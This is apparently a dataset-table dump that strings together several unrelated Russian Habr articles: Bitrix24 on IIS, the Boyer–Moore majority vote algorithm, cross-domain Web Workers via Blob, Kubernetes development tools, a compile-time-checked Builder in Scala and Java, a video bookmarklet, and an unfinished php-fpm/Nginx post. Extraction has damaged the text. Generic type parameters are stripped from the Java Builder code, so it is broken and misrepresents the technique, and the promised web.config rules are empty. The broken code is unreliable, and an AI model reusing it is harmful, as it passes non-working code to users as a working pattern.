text
stringlengths 20
1.01M
| url
stringlengths 14
1.25k
| dump
stringlengths 9
15
⌀ | lang
stringclasses 4
values | source
stringclasses 4
values |
---|---|---|---|---|
# Установка Битрикс24 на IIS сервер с использованием MSSQL и AD
На днях, встала задача протестировать этот корпоративный портал в коробочной версии. Потратив немало времени и сил, решил описать сей процесс, чтобы сэкономить кому-то лишние усилия.
Начнем с того, что в своей организации у меня «экосистема» ПО построена на базе Windows систем и присутствует большое количество прикладных приложений, написанных под наши задачи и требовалось использование MSSQL для их интеграции. Посему, было решено выделить виртуальную машину с Windows Server для тестирования продукта.
Почитав предлагаемые решения, решил попробовать три варианта:
1. Установка портала на свой IIS сервер с PHP и MSSQL
Первый пункт завершился по началу неудачно: пройдя все шаги настройки по инструкции от разработчиков, в установленном портале не работала половина функций. Как показал анализ и обращение к техподдержке, проблемы была в переопределении URL адресов. Как мне сказали, успешного запуска под IIS пока не получалось. Решил проверить дальше.
2. Установка предлагаемого комплекта с веб-окружением (апач с PHP, mysql и XMPP).
Установка комплекта «по-умолчанию» завелась сразу, но с некоторыми проблемами. Скорость работы была довольно низкой, попытки настроить кэш и сжатие особо не помогли. Переключение в HTTPS не работало, не смотря на отдельно выведенную настройку в консоли. Видимо не зря на официальном сайте стояла приписочка " Пакет «Битрикс: Веб-окружение» рекомендуется использовать только для тестирования ознакомительных версий. Для работы реального проекта рекомендуется BitrixVM".
3. Виртуальная машина битрикс с cent-os.
Некоторые режимы при выборе установки не работали. Пошла только установка демонстрационной версии. Отсутствовал выбор используемой базы данных. В системе не была установлена поддержка MSSQL.
Пришлось вернуться к первому варианту. Помучав то, что есть по этому в интернете выяснил, что правила для переопределения URL прописаны в .htaccess файле и IIS его не понимает.Решил попробовать сконвертировать правила .htaccess в понятный для сервера вид, получив следующую секцию для файла web.config:
```
```
Все недостающие функции вроде как заработали, и можно бы уже порадоваться, но войдя под учеткой из Active Directory отвалился чат. Погрешив на IIS, перелопатил все настройки, но ничего не помогло. И только опытным путем была найдена причина:
мастер настройки портала некорректно создает группы пользователей и у них нет доступа к чату, а иногда и к главной странице.
Для исправления этой проблемы оказалось достаточно заменить группы, к которым добавляется пользователь после авторизации из AD

В правой выделенной части, достаточно заменить группы с префиксом «SITE\_WIZARD:» на подобные группы без этого префикса.
После установки кэша для PHP производительность тоже подтянулась до приемлемого уровня. Для меня осталось решить только проблемы не работающего автообновления и стыковки почтового домена по IMAP, но это уже вопросы к техподдержке, на которые пока ответа не получено. А после, можно и решить вопрос о приобретении. Хотя некий осадочек, от недоработок в установке продукта конечно остался.
Надеюсь это поможет кому-нибудь) | https://habr.com/ru/post/280402/ | null | ru | null |
# Алгоритм большинства голосов Бойера — Мура
### Введение
Решал задачки на LeetCode и вот небольшой переводик небольшой [статьи](https://www.geeksforgeeks.org/boyer-moore-majority-voting-algorithm/) про небольшой алгоритм.
Алгоритм голосования Бойера-Мура является одним из самых популярных и оптимальных алгоритмов, который используется для поиска преобладающего элемента среди заданных, который имеет более N / 2 вхождений. Алгоритм выполняет 2 обхода по заданным элементам, что работает при O (N) временной сложности и O (1) пространственной сложности.
```
Input :{1,1,1,1,2,3,5}
Output : 1
Input : {1,2,3}
Output : -1
```
Если какой-то элемент встречается больше N/2 раз то отличных от него элементов меньше N/2. Собственно алгоритм на этом и держится.
Для начала выбирается элемент кандидат. Далее для каждого элемента:
* если элемент равен кандидату, количество голосов увеличивается.
* если кандидат и элемент не равны, количество голосов уменьшается.
* если голосов 0, выбирается новый кандидат.
### На словах
По сути, увеличивая или уменьшая количество голосов мы увеличиваем или уменьшаем приоритет определенного кандидата. Это сработает, поскольку правильный кандидат встретится более N/2 раз. Если количество голосов оказалось 0, это означает, что элементов отличных от кандидата, столько-же, сколько и равных ему. Получается текущий кандидат не может быть большинством и мы выбираем следующего кандидата. Окончательный кандидат и будет преобладающим элементом, если такой присутствует. Вторым проходом проверим, что полученный элемент встречается больше N / 2 раз. Если нет то такого элемента нет.
### От слов к коду
```
public static Integer findMajority(int[] nums)
{
int count = 0;
Integer candidate = null;
for (int num : nums) {
// проверяем, если количество голосов 0 меняем кандидата
if (count == 0) {
candidate = num;
}
// если кандидат и число совпали увеличиваем кол-во голосов
// иначе уменьшаем
count += (num == candidate) ? 1 : -1;
}
count = 0;
// считаем количество элементов равных кандидату
// в исходном массиве
for (int num : nums) {
if (num == candidate)
count++;
}
// если кандидат подходит условию возвращаем его
// иначе возвращаем null;
if (count > (nums.length / 2)) return candidate;
else return null;
}
``` | https://habr.com/ru/post/689492/ | null | ru | null |
# Создание Worker-а с другого домена
Worker'ы — ~~внятная~~ реализация многопоточности в JavaScript. На момент сейчас они имеют достаточное количество ограничений. Для ознакомления с ними (как worker'ами, так и ограничениями) можно прочитать [эту статью](http://habrahabr.ru/post/261307/) от хабраюзера [Antelle](http://habrahabr.ru/users/antelle/). Там же есть и ссылки на первоисточники информации для интересующихся.

Сегодня же мне довелось столкнуться другой задачей. А именно: с проблемой создания worker'а из js-файла с другого домена, что на данный момент запрещено его спецификацией.
История началась с создания небольшого расширения Google Chrome для Chess.com, которое использовало стороннюю библиотеку. К несчастью, оказалось, что эта библиотека работает только как worker.
Проблема заключается в том, что у самого Chrome есть определенные ограничения на получение файлов из контекста страницы. Он разрешает внедрение стороннего javascript-кода на страницу, но не более того. А это значит, что код из дополнения может получать worker на страницу только с того домена, на котором он выполнялся. То есть в моем случае: Chess.com. Конечно, можно было бы рассчитывать, что когда-нибудь я получу доступ к боевым серверам Chess.com, но мне бы хотелось, чтобы все заработало уже сегодня. Пришлось гуглить.
К счастью, статья с html5rocks помогла найти решение: создание inline worker'а через Blob. Подробности [здесь](http://www.html5rocks.com/en/tutorials/workers/basics/). Если говорить кратко, то можно создать любую текстовую строку и запихать ее в так называемый Blob — ~~наскальный рисунок~~ модельный прототип сырого внешнего файла.
Например так (взято с html5rocks):
```
var blob = new Blob([
"onmessage = function(e) { postMessage('msg from worker'); }"]);
// Obtain a blob URL reference to our worker 'file'.
var blobURL = window.URL.createObjectURL(blob);
var worker = new Worker(blobURL);
worker.onmessage = function(e) {
// e.data == 'msg from worker'
};
worker.postMessage(); // Start the worker.
```
Здесь мы видим, что создается объект Blob, который в представлении браузера является «как-бы-файлом», и в него записывается исходный текст.
Но если мы можем создать из любого текста Blob, значит, можно загрузить любой текст с другого сайта, а потом запихнуть его в Blob?
Окей, давайте попробуем:
```
$.get("https://example.com/js/worker.js", {},
function (workerCode) {
var blob = new Blob([workerCode], {type : 'javascript/worker'});
var worker = new Worker(window.URL.createObjectURL(blob));
}
);
```
Работает. То есть, фактически, мы можем загрузить любой внешний файл на страницу и запустить его как worker, независимо от принадлежности файлов к одному или нескольким доменам. Нда, вот так день.
Напоследок замечу, что, несмотря на всю сенсационность заголовка, в принципе в этом трюке нет ничего удивительного. То же самое можно проделать и для однопоточного javascript-кода: загрузить его как текст и вызвать через eval. В этом случае остается непонятным лишь неспешное принятие решения о поддержке CORS в Web Workers. | https://habr.com/ru/post/261817/ | null | ru | null |
# Инструменты для разработчиков приложений, запускаемых в Kubernetes

Современный подход к эксплуатации решает множество насущных проблем бизнеса. Контейнеры и оркестраторы позволяют легко масштабировать проекты любой сложности, упрощают релизы новых версий, делают их более надежными, но вместе с тем создают и дополнительные проблемы для разработчиков. Программиста, в первую очередь, заботит его код: архитектура, качество, производительность, элегантность, — а не то, как он поедет в Kubernetes и как его тестировать и отлаживать после внесения даже минимальных правок. Посему весьма закономерно и то, что активно развиваются инструменты для Kubernetes, помогающие решать проблемы даже самых «архаичных» разработчиков и позволяя им сосредоточиться на главном.
В этом обзоре представлена краткая информация о некоторых инструментах, которые упрощают жизнь программисту, чей код крутится в pod’ax Kubernetes-кластера.
Простые помощники
-----------------
### Kubectl-debug
* Суть: **добавь свой контейнер в Pod и посмотри, что в нем происходит**.
* [GitHub](https://github.com/aylei/kubectl-debug).
* Краткая статистика GH: 715 звёзд, 54 коммита, 9 контрибьюторов.
* Язык: Go.
* Лицензия: Apache License 2.0.
Этот плагин для kubectl позволяет создать внутри интересующего pod'a дополнительный контейнер, который будет делить пространство имен процессов с остальными контейнерами. В нем можно производить отладку работы pod'а: проверить работу сети, послушать сетевой трафик, сделать strace интересующего процесса и т.п.
Также можно переключиться в контейнер процесса, выполнив `chroot /proc/PID/root` — это бывает очень удобно, когда нужно получить root shell в контейнере, для которого в манифесте выставлен `securityContext.runAs`.
Инструмент прост и эффективен, так что может пригодиться каждому разработчику. Подробнее о нём мы писали в [отдельной статье](https://habr.com/ru/company/flant/blog/436112/).
### Telepresence
* Суть: **перенеси приложение на свой компьютер. Разрабатывай и отлаживай локально**.
* [Сайт](https://www.telepresence.io/); [GitHub](https://github.com/telepresenceio/telepresence).
* Краткая статистика GH: 2131 звезда, 2712 коммитов, 33 контрибьютора.
* Язык: Python.
* Лицензия: Apache License 2.0.
Идея этой оснастки заключается в запуске контейнера с приложением на локальном пользовательском компьютере и проксировании всего трафика из кластера в него и обратно. Такой подход позволяет вести разработку локально, просто изменяя файлы в своей любимой IDE: результаты будут доступны сразу же.
Плюсы локального запуска — удобство правок и моментальный результат, возможность отлаживать приложение привычным способом. Из минусов — требовательность к скорости соединения, что особенно заметно, когда приходится работать с приложением с достаточно высоким RPS и трафиком. Кроме того, у Telepresence есть проблемы с volume mounts в Windows, что может стать решающим ограничителем для разработчиков, привыкшим к этой ОС.
Мы уже делились своим опытом использования Telepresence [здесь](https://habr.com/ru/company/flant/blog/446788/).
### Ksync
* Суть: **почти мгновенная синхронизация кода с контейнером в кластере**.
* [GitHub](https://github.com/vapor-ware/ksync).
* Краткая статистика GH: 555 звёзд, 362 коммита, 11 контрибьюторов.
* Язык: Go.
* Лицензия: Apache License 2.0.
Утилита позволяет синхронизировать содержимое локальной директории с каталогом контейнера, запущенного в кластере. Такой инструмент отлично подойдет для разработчиков на скриптовых языках программирования, основная проблема у которых — доставить код в работающий контейнер. Ksync призван снять эту головную боль.
При однократной инициализации командой `ksync init` в кластере создается DaemonSet, который используется для отслеживания состояния файловой системы выбранного контейнера. На своем локальном компьютере разработчик запускает команду `ksync watch`, которая следит за конфигурациями и запускает [syncthing](https://syncthing.net/), осуществляющую непосредственную синхронизацию файлов с кластером.
Остается проинструктировать ksync, что и с чем синхронизировать. Например, такая команда:
```
ksync create --name=myproject --namespace=test --selector=app=backend --container=php --reload=false /home/user/myproject/ /var/www/myproject/
```
… создаст watcher с именем `myproject`, который будет искать pod с меткой `app=backend` и пытаться синхронизировать локальную директорию `/home/user/myproject/` с каталогом `/var/www/myproject/` у контейнера под названием `php`.
Проблемы и примечания по ksync из нашего опыта:
* На узлах Kubernetes-кластера должна использоваться `overlay2` в качестве storage driver для Docker. Ни с какими другими утилита работать не будет.
* При использовании Windows в качестве ОС клиента возможна некорректная работа watcher'а файловой системы. Данный баг замечен при работе с крупными каталогами — с большим количеством вложенных файлов и директорий. Мы создали [соответствующий issue](https://github.com/syncthing/syncthing/issues/5832) в проекте syncthing, но прогресса по нему пока (с начала июля) нет.
* Используйте файл [`.stignore`](https://docs.syncthing.net/users/ignoring.html) для того, чтобы указать пути или шаблоны файлов, которые не нужно синхронизировать (например, каталоги `app/cache` и `.git`).
* По умолчанию ksync будет перезагружать контейнер при каждом изменении файлов. Для Node.js это удобно, а для PHP — совершенно излишне. Лучше выключить opcache и использовать флаг `--reload=false`.
* Конфигурацию можно всегда исправить в `$HOME/.ksync/ksync.yaml`.
### Squash
* Суть: **отлаживай процессы прямо в кластере**.
* [GitHub](https://github.com/solo-io/squash).
* Краткая статистика GH: 1154 звёзд, 279 коммитов, 23 контрибьютора.
* Язык: Go.
* Лицензия: Apache License 2.0.
Данный инструмент предназначен для отладки процессов непосредственно в pod'ах. Утилита проста и в интерактивном режиме позволяет выбрать нужный отладчик *(см. ниже)* и namespace + pod, в процесс которого нужно вмешаться. В настоящее время поддерживаются:
* delve — для приложений на Go;
* GDB — через target remote + проброс порта;
* проброс порта JDWP для отладки Java-приложений.
Со стороны IDE поддержка есть лишь в VScode (с помощью [расширения](https://marketplace.visualstudio.com/items?itemName=ilevine.squash)), однако в планах на текущий (2019) год значатся Eclipse и Intellij.
Для отладки процессов Squash запускает на узлах кластера привилегированный контейнер, поэтому необходимо сперва ознакомиться с возможностями [безопасного режима](https://squash.solo.io/secure_mode/) во избежание проблем с безопасностью.
Комплексные решения
-------------------
Переходим к тяжелой артиллерии — более «масштабным» проектам, призванным сразу закрыть многие потребности разработчиков.
***NB**: В этом списке, безусловно, есть место и нашей Open Source-утилите [**werf**](https://habr.com/ru/company/flant/blog/333682/) (ранее известной как dapp). Однако мы уже не раз писали и рассказывали о ней, а посему решили не включать в обзор. Для желающих ознакомиться с её возможностями поближе рекомендуем прочитать/послушать доклад «[werf — наш инструмент для CI/CD в Kubernetes](https://habr.com/ru/company/flant/blog/460351/)».*
### DevSpace
* Суть: **для тех, кто хочет начать работать в Kubernetes, но не хочет глубоко залезать в его дебри**.
* [GitHub](https://github.com/devspace-cloud/devspace).
* Краткая статистика GH: 630 звёзд, 1912 коммитов, 13 контрибьюторов.
* Язык: Go.
* Лицензия: Apache License 2.0.
Решение от одноименной компании, предоставляющей managed-кластеры с Kubernetes для командной разработки. Утилита была создана для коммерческих кластеров, однако отлично работает и с любыми другими.
При запуске команды `devspace init` в каталоге с проектом вам предложат (в интерактивном режиме):
* выбрать рабочий Kubernetes-кластер,
* использовать имеющийся `Dockerfile` (или сгенерировать новый) для создания контейнера на его базе,
* выбрать репозиторий для хранения образов контейнеров и т.д.
После всех этих подготовительных действий можно начинать разработку, выполнив команду `devspace dev`. Она соберёт контейнер, загрузит его в репозиторий, выкатит deployment в кластер и запустит проброс портов и синхронизацию контейнера с локальным каталогом.
Опционально будет предложено перейти терминалом в контейнер. Отказываться не стоит, потому как в реальности контейнер стартует с командой sleep, а для реального тестирования приложение требуется запускать вручную.
Наконец, команда `devspace deploy` выкатывает приложение и связанную с ним инфраструктуру в кластер, после чего все начинает функционировать в боевом режиме.
Вся конфигурация проекта хранится в файле `devspace.yaml`. Помимо настроек окружения для разработки в нем же можно найти описание инфраструктуры, похожее на стандартные манифесты Kubernetes, только сильно упрощенные.

*Архитектура и основные этапы работы с DevSpace*
Кроме того, в проект легко добавить предопределенный компонент (например, СУБД MySQL) или Helm-чарт. Подробнее читайте в [документации](https://devspace.cloud/docs/) — она несложная.
### Skaffold
* [Сайт](https://skaffold.dev/); [GitHub](https://github.com/GoogleContainerTools/skaffold).
* Краткая статистика GH: 7423 звезды, 4173 коммита, 136 контрибьюторов.
* Язык: Go.
* Лицензия: Apache License 2.0.
Эта утилита от Google претендует на то, чтобы покрыть все потребности разработчика, чей код так или иначе будет запускаться в кластере Kubernetes. Начать пользоваться им не так просто, как devspace'ом: никакой интерактивности, определения языка и автосоздания `Dockerfile` здесь вам не предложат.
Впрочем, если это не пугает — вот что позволяет делать Skaffold:
* Отслеживать изменения исходного кода.
* Синхронизировать его с контейнером pod'а, если он не требует сборки.
* Собирать контейнеры с кодом, если ЯП — интерпретируемый, или же компилировать артефакты и упаковывать их в контейнеры.
* Получившиеся образы автоматически проверять с помощью [container-structure-test](https://github.com/GoogleContainerTools/container-structure-test).
* Тегировать и загружать образы в Docker Registry.
* Разворачивать приложение в кластере, используя kubectl, Helm или kustomize.
* Делать проброс портов.
* Отлаживать приложения, написанные на Java, Node.js, Python.
Workflow в различных вариациях декларативно описывается в файле `skaffold.yaml`. Для проекта можно также определить несколько профилей, в которых частично или полностью изменять стадии сборки и деплоя. Например, для разработки указать удобный для разработчика базовый образ, а для staging и production — минимальный (+ использовать `securityContext` у контейнеров или же переопределить кластер, в котором приложение будет развернуто).
Сборка Docker-контейнеров может осуществляться локально или удаленно: в [Google Cloud Build](https://cloud.google.com/cloud-build/) или в кластере с помощью [Kaniko](https://github.com/GoogleContainerTools/kaniko). Также поддерживаются Bazel и Jib Maven/Gradle. Для тегирования Skaffold поддерживает множество стратегий: по git commit hash, дате/времени, sha256-сумме исходников и т.п.
Отдельно стоит отметить возможность тестирования контейнеров. Уже упомянутый фреймворк container-structure-test предлагает следующие методы проверки:
* Выполнение команд в контексте контейнера с отслеживанием exit-статусов и проверкой текстового «выхлопа» команды.
* Проверка наличия файлов в контейнере и соответствия атрибутов указанным.
* Контроль содержимого файлов по регулярным выражениям.
* Сверка метаданных образа (`ENV`, `ENTRYPOINT`, `VOLUMES` и т.п.).
* Проверка совместимости лицензий.
Синхронизация файлов с контейнером осуществляется не самым оптимальным способом: Skaffold просто создает архив с исходниками, копирует его и распаковывает в контейнере (должен быть установлен tar). Поэтому, если ваша основная задача — в синхронизации кода, лучше посмотреть в сторону специализированного решения (ksync).

*Основные этапы работы Skaffold*
В целом же инструмент не позволяет абстрагироваться от Kubernetes-манифестов и не имеет какой-либо интерактивности, поэтому может показаться сложным для освоения. Но в этом же и его плюс — большая свобода действий.
### Garden
* [Сайт](https://garden.io/); [GitHub](https://github.com/garden-io/garden).
* Краткая статистика GH: 1063 звезды, 1927 коммитов, 17 контрибьюторов.
* Язык: TypeScript *(планируется разбить проект на несколько компонентов, некоторые из которых будут на Go, а также сделать SDK для создания дополнений на TypeScript/JavaScript и Go)*.
* Лицензия: Apache License 2.0.
Как и Skaffold, Garden нацелен на автоматизацию процессов доставки кода приложения в K8s-кластер. Для этого сперва необходимо описать структуру проекта в YAML-файле, после чего запустить команду `garden dev`. Она сделает всю магию:
* Соберет контейнеры с различными частями проекта.
* Проведет интеграционные и unit-тесты, если таковые были описаны.
* Выкатит все компоненты проекта в кластер.
* В случае изменения исходного кода — заново запустит весь пайплайн.
Основной упор при использовании этого инструмента делается на совместное использование удаленного кластера командой разработчиков. В этом случае, если какие-то стадии сборки и тестирования уже были сделаны, это значительно ускорит весь процесс, поскольку Garden сможет использовать закэшированные результаты.
Модулем проекта может быть контейнер, Maven-контейнер, Helm-чарт, манифест для `kubectl apply` или даже OpenFaaS-функция. Причем любой из модулей можно подтянуть из удаленного Git-репозитория. Модуль может определять (а может и нет) сервисы, задачи и тесты. Сервисы и задачи могут иметь зависимости, благодаря чему можно определить последовательность деплоя того или иного сервиса, упорядочить запуск заданий и тестов.
Garden предоставляет пользователю красивый dashboard (пока в [экспериментальном состоянии](https://github.com/garden-io/garden/tree/master/dashboard)), в котором отображается граф проекта: компоненты, последовательность сборки, выполнения задач и тестов, их связи и зависимости. Прямо в браузере можно просмотреть и логи всех компонентов проекта, проверить, что выдает тот или иной компонент по HTTP (если, конечно, для него объявлен ресурс ingress).

*Панель для Garden*
Есть у этого инструмента и режим hot-reload, который просто синхронизирует изменения скриптов с контейнером в кластере, многократно ускоряя процесс отладки приложения. У Garden хорошая [документация](https://docs.garden.io/) и неплохой [набор примеров](https://github.com/garden-io/garden/tree/master/examples), позволяющих быстро освоиться и начать пользоваться. Кстати, совсем недавно мы публиковали [перевод статьи](https://habr.com/ru/company/flant/blog/459586/) от его авторов.
Заключение
----------
Разумеется, данным списком инструментарий для разработки и отладки приложений в Kubernetes не ограничивается. Существует еще много весьма полезных и практичных утилит, достойных если не отдельной статьи, то — как минимум — упоминания. Расскажите, чем пользуетесь вы, с какими проблемами вам доводилось сталкиваться и как вы их решали!
P.S.
----
Читайте также в нашем блоге:
* «[werf — наш инструмент для CI/CD в Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/460351/)»;
* «[Garden v0.10.0: Вашему ноутбуку не нужен Kubernetes](https://habr.com/ru/company/flant/blog/459586/)»;
* «[Kubernetes tips & tricks: о локальной разработке и Telepresence](https://habr.com/ru/company/flant/blog/446788/)»;
* «[Плагин kubectl-debug для отладки в pod'ах Kubernetes](https://habr.com/ru/company/flant/blog/436112/)». | https://habr.com/ru/post/462707/ | null | ru | null |
# Безопасный Builder на Scala и Java
Статья о реализации паттерна Builder с проверкой на уровне компиляции, реализованного с помощью параметрического полиморфизма. В ней мы поговорим о том, что такое полиморфизм, каким он бывает. Как устроена магия «оператора» =:= в scala, можно ли повторить ее в java и как используя эти знания реализовать Builder, не допускающий неполной инициализации создаваемого объекта.
Когда в системе возникает сущность с множеством свойств, возникает проблема с ее конструированием. Многословный конструктор или множество setter-ов? Первое выглядит громоздким, второе не безопасно: можно легко упустить вызов метода инициализации важного свойства. Для решения этой проблемы часто прибегают к паттерну Builder.
Паттерн builder решает две задачи: во-первых разделяет алгоритм создания(инициализации) объекта от деталей его(объекта) реализации, во-вторых упрощает сам процесс создания:
```
UrlBuilder()
.withSchema("http")
.withHost("localhost")
.withFile("/")
.build()
```
Остается вопрос: как реализовать builder так, чтобы он не допускал не полной инициализации объекта?
Самым простым решением может показаться проверка всех свойств в методе build. Но такой подход не сможет предостеречь нас от проблем до тех пор, пока они не возникнут в процессе выполнения программы.
Следующее что приходит на ум, это [StepBuilder](https://plugins.jetbrains.com/idea/plugin/8276-stepbuilder-generator) — реализация builder, в которой для каждого нового шага описан свой отдельный класс/интерфейс. Недостатком такого решения является крайняя избыточность реализации.
Несколько иной подход практикуют сторонники scala. Для проверки законченности конфигурирования объекта в scala используется параметрический полиморфизм:
```
trait NotConfigured
trait Configured
class Builder[A] private() {
def configure(): Builder[Configured] = new Builder[Configured]
def build()(implicit ev: Builder[A] =:= Builder[Configured]) = {
println("It's work!")
}
}
object Builder {
def apply(): Builder[NotConfigured] = {
new Builder[NotConfigured]()
}
}
Builder()
.configure() // без вызова этого метода компилятор поругается!
.build()
```
Если при использовании такого builder опустить один метод configure() и вызвать метод build(), компилятор выдаст ошибку:
> `scala> Builder()./*configured()*/.build()
>
> Error:(\_, \_) Cannot prove that Builder[NotConfigured] =:= Builder[Configured].`
Контролем типа в данном примере занимается «оператор» =:=. Запись A =:= B говорит о том, что параметрический (generic) тип A должен быть равен типу B. Мы еще вернемся к данному примеру и разберем магию, с помощью которой компилятор scala отлавливает незавершенное состояние инициализации создаваемого объекта. А пока вернемся в мир более простой и понятной java и вспомним что такое полиморфизм.
В ООП полиморфизм — свойство системы, позволяющее использовать объекты с одинаковым интерфейсом без информации о типе и внутренней структуре объекта. Но то, что мы привыкли называть полиморфизмом в ООП, только частный случай полиморфизма — полиморфизм подтипов. Другим видом полиморфизма является параметрический полиморфизм:
> Параметрический полиморфизм позволяет определять функцию или тип данных обобщённо, так что значения обрабатываются идентично вне зависимости от их типа. Параметрически полиморфная функция использует аргументы на основе поведения, а не значения, апеллируя лишь к необходимым ей свойствам аргументов, что делает её применимой в любом контексте, где тип объекта удовлетворяет заданным требованиям поведения.
Примером может служить функция printNumber(N n). Эта функция выполняется только для аргументов классов-наследников Number. Обратите внимание на то, что компилятор способен проконтролировать соответствие типа переданного аргумента всем ожиданиям параметризированной функции и выдать исключение в случае вызова функции с некорректным аргументом:
> `java> printNumber("123")
>
> Error:(\_, \_) java: method printNumber ... cannot be applied to given types;
>
> required: N
>
> found: java.lang.String
>
> ...`
Это может натолкнуть на мысль о функции build, которая определена только для полностью сконфигурированного экземпляра builder. Но остается открытым вопрос: как объяснить это требование компилятору?
Попытка описать функцию по аналогии с printNumber к успеху не приведет, тк параметрический тип придется указывать при вызове функции и никто не помешает указать там все, что душе угодно:
```
interface NotConfigured {}
interface Configured {}
static class Builder{
static Builder init() {
return new Builder<>();
}
private Builder() {}
public Builder configure() {
return new Builder<>();
}
// первая попытка
public > void build() {
System.out.println("It's work!");
}
public static void main(String[] args) {
Builder.init()
// .configure() // вызов конфигурации опущен,
.>build() // но вызов метода build все еще доступен
}
}
```
Зайдем с другой стороны: потребуем при вызове метода build доказательство того, что текущий экземпляр полностью сконфигурирован:
```
public void build(EqualTypes approve)
...
class EqualTypes {}
```
Теперь чтобы вызвать метод build мы должны передать экземпляр класса EqualTypes такой, в котором тип L равен Configured, а тип R равен типу A, определенному в текущем экземпляре класса Builder.
Пока от такого решения проку мало, достаточно просто опустить тип при создании экземпляра EqualTypes и компилятор позволит нам вызвать функцию build:
```
public static void main(String[] args) {
Builder.init()
// .configure()
.build(new EqualTypes())
}
```
Но если объявить параметризированный фабричный метод такой, который принимал бы некоторый тип T и создавал экземпляр класса EqualTypes:
```
static EqualTypes approve() {
return new EqualTypes();
}
```
и вызывая метода build передавать в него результат работы функции approve, мы получим долгожданный результат: компилятор будет ругаться, если опустить вызов метода configure:
> `java>Builder.init()./*configured()*/.build(approve())
>
> Error:(\_, \_) java: incompatible types: inferred type does not conform to equality constraint(s)
>
> inferred: NotConfigured
>
> equality constraints(s): NotConfigured,Configured`
Дело в том, что к моменту вызова метода build, параметрический тип A класса Builder имеет значение NotConfigured, тк именно с таким значением создается экземпляр в результате вызова метода init. Компилятор не может подобрать такой тип T для функции approve, чтобы он с одной стороны был равен Configured, как того требует метод build, и с другой стороны NotConfigured как параметрический тип A.
Теперь обратите внимание на метод configure — он возвращает такой экземпляр класса Builder, в котором параметрический тип A определен как Configured. Т.е. при правильной последовательности вызова методов компилятор сможет вывести тип T как Configured и вызов метода build пройдет успешно!
> `java>Builder.init().configured().build(approve())
>
> It's work!`
Осталось добиться того, чтобы единственным способом создать экземпляр класса EqualTypes остался метод approve, но это уже задание на дом.
В качестве типа T может выступать более сложный тип, например *Builder*. Сигнатура метода build может быть изменена на несколько более громоздкую:
```
void build(EqualTypes, Builder> approve)
```
Преимущество такого подхода заключается в том, что если понадобится добавить новый обязательный метод, достаточно будет завести для него новый generic параметр.
**Пример UrlBuilder**
```
interface Defined {}
interface Undefined {}
class UrlBuilder {
private String schema = "";
private String host = "";
private int port = -1;
private String file = "/";
static UrlBuilder init() {
return new UrlBuilder<>();
}
private UrlBuilder() {}
private UrlBuilder(String schema, String host, int port, String file) {
this.schema = schema;
this.host = host;
this.port = port;
this.file = file;
}
public UrlBuilder withSchema(String schema) {
return new UrlBuilder<>(schema, host, port, file);
}
public UrlBuilder withHost(String host) {
return new UrlBuilder<>(schema, host, port, file);
}
public UrlBuilder withPort(int port) {
return new UrlBuilder<>(schema, host, port, file);
}
public UrlBuilder withFile(String file) {
return new UrlBuilder<>(schema, host, port, file);
}
public URL build(EqualTypes< UrlBuilder, UrlBuilder> approve) throws MalformedURLException {
return new URL(schema, host, file);
}
public static void main(String[] args) throws MalformedURLException {
UrlBuilder
.init()
.withSchema("http") // пропуск любого
.withHost("localhost") // из этих методов
.withFile("/") // приведет к исключению при компиляции!
.build(EqualTypes.approve());
}
}
```
Вернемся к примеру на scala и посмотрим на то, как устроен «оператор» =:=. Здесь стоит заметить, что в scala допустима [инфиксная форма записи параметров типа](http://www.scala-lang.org/files/archive/spec/2.11/03-types.html#infix-types), что позволяет записать конструкцию вида =:=[A, B] как A =:= B. Да-да! На самом деле =:= — никакой не оператор, это абстрактный класс объявленный в scala.Predef, очень похожий на наш EqualTypes!
```
@implicitNotFound(msg = "Cannot prove that ${From} =:= ${To}.")
sealed abstract class =:=[From, To] extends (From => To) with Serializable
private[this] final val singleton_=:= = new =:=[Any,Any] { def apply(x: Any): Any = x }
object =:= {
implicit def tpEquals[A]: A =:= A = singleton_=:=.asInstanceOf[A =:= A]
}
```
Разница лишь в том, что вызов функции approve (а точнее ее аналога tpEquals) компилятор скалы подставляет автоматически.
Получается, что привычное оперирование типами в scala (*речь идет о применении конструкций `=:=, <:<`*) вполне применимо в java. Но, тем не менее, механизм implicit предусмотренный в scala делает подобное решение более лаконичным и удобным.
Еще одним преимуществом реализации описанного подхода в scala является аннотация `@implicitNotFound`, которая позволяет управлять содержимым исключения при компилировании. Эта аннотация применима к классу, экземпляр которого не может быть найден для неявной подстановки компилятором.
Плохая новость в том, что вы не можете поменять текст ошибки для конструкции =:=, а хорошая — теперь вы можете легко создать собственный аналог с нужным вам сообщением!
```
object ScalaExample extends App {
import ScalaExample.Builder.is
import scala.annotation.implicitNotFound
trait NotConfigured
trait Configured
class Builder[A] private() {
def configure(): Builder[Configured] = new Builder[Configured]
def build()(implicit ev: Builder[A] is Builder[Configured]) = {
println("It's work!")
}
}
object Builder {
@implicitNotFound("Builder is not configured!")
sealed abstract class is[A, B]
private val singleIs = new is[AnyRef, AnyRef] {}
implicit def verifyTypes[A]: A is A = singleIs.asInstanceOf[is[A, A]]
def apply(): Builder[NotConfigured] = {
new Builder[NotConfigured]()
}
}
Builder()
.configure() // без вызова этого метода компилятор поругается:
.build() // Builder is not configured!
}
```
Подводя итог, не могу не отдать должное авторам языка scala: не добавляя специальных конструкций в язык, используя только implicit параметры, разработчикам удалось обогатить языковые конструкции новыми и эффективными решениями, позволяющими гибко оперировать типами.
Что касается Java, развитие языка не стоит на месте, язык меняется в лучшую сторону, вбирая в себя решения и конструкции из других языков. При этом не всегда стоит ждать нововведений от авторов языка, некоторые подходы и решения можно пробовать заимствовать уже сейчас. | https://habr.com/ru/post/323052/ | null | ru | null |
# intv без рекламы
надоела мне реклама на интв, вот и появился на свет такой букмарклет =)
прям складно =), ну да ладно =).
добавляем себе в фавориры вот эту строчку:
`javascript:des=prompt("postfix:");document.location='http://djung.org/tools/getFLV.php?u='+escape(window.location)+'&t='+des+'&v=video';`
у последнего параметра v есть ещё другие опции кроме video
l — получаем ссылки на flv файлы в виде html
t — просто текст с сылками на файлы
kget — чтобы сразу начать качать менеджером закачек kget. | https://habr.com/ru/post/59434/ | null | ru | null |
# Amazon EC2 + PHP-fpm + Nginx
Наступил момент когда я решил перевести свой проект FastCGI, мне не нужна была производительность, не нужна была стабильность или еще какие-то преимущества, которые предоставляет FastCGI. В первую очередь это было желание узнать что то новое, понять как оно работает, и посмотреть все преимущества в деле.
Почитав большое количество информации найденной в интернете, я сделал выбор в пользу php-fpm+Nginx.
Почему именно эта связка, ну во-первых потому что проект написан на php, во-вторых неформальным стандартом в сети является именно она.
